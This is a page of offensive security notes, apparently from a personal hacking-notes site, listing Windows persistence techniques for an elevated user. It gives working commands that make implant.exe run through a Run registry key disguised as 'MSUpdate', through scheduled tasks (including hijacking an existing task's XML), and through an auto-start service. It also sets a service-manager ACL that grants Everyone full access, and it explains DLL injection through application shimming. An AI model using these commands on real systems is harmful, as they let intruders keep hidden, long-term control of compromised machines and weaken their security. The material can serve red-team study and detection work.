> For the complete documentation index, see [llms.txt](https://f1rstbyt3.gitbook.io/hacking-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1rstbyt3.gitbook.io/hacking-notes/command-and-control/persistence/high-priv-user.md).

# High Priv User

## Reg Keys:

```powershell
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /t REG_SZ /d C:\Windows\Tasks\implant.exe" /f
```

## Scheduled Tasks:

### Create New Task: 

<https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create>

```powershell
# normal @ 09:00 daily 
schtasks /create /tn "MyTask\go" /sc daily /st 09:00 /tr "C:\windows\tasks\implant.exe"
# normal @ every 15 minutes
schtasks /create /tn "MyTask\go" /sc minute /mo 15 /tr "C:\windows\tasks\implant.exe"
# normal @ every 3 hours between 9-5
schtasks /create /tn "MyTask\go"  /sc hourly /mo 3 /st 09:00 /etu 17:00 /tr "C:\windows\tasks\implant.exe"


# query
schtasks /query /tn  "MyTask\Go" /fo list /v
# run
schtasks /run /tn "MyTasks/Go"
# delete 
schtasks /delete /tn "MyTasks/Go"
```

run in an elevated session, and modify the task. copy the xml schtasks:

<pre class="language-powershell"><code class="lang-powershell"><strong>schtasks /query /tn  "MyTask\Go" /xml > task.xml
</strong></code></pre>

Within the **\<Principals>\</Principals>** section add **`"<RunLevel>HighestAvailable</RunLevel>"`** delete the original task, and create using the following:&#x20;

```powershell
# delete
schtasks /delete /f /tn MyTask
# create new from xml
schtasks /create /tn MyTask /xml task.xml
# query 
schtasks /query /tn MyTask /v /xml
```

### Take Over Task/ multiple actions:&#x20;

```powershell
# get old task: 
schtasks /query /tn  "MyTask\Go" /xml > task.xml

# add to the <actions></actions> section in the XML file
<Exec>
    <Command>C:\windows\tasks\implant.exe</command>
</Exec>

# delete the task
schtasks /delete /tn "MyTask" /f
# add task 
schtasks /create /tn "MyTask" /xml task.xml
# check worked in Task to Run section for multiple actions if it worked
schtasks /query /tn "MyTask" /fo list /v 
```

## Service:&#x20;

create new service:&#x20;

<https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create>

```powershell
# create new service
sc create SERVICE_NAME binpath="C:\Windows\Tasks\implant.exe" start=auto
# query 
sc query SERVICE_NAME
# start 
sc start SERVICE_NAME
```

This will fail, but will still execute. advised to create a new proper service:&#x20;

```powershell
sc.exe sdset scmanager D:(A;;KA;;;WD)
```

## Application Shimming:&#x20;

x86 is more powerful that x64 noe, so use 32-bit. Use compatability administrator (32-bit) on cmd run:

```powershell
compatadmin.exe /x
```

Right click 'New Database > new' name anything, vednor = Microsoft, select a good windows 32-bit. Select `InjectDLL` on compatability fixes and point it to your compiled DLL. Click save &#x20;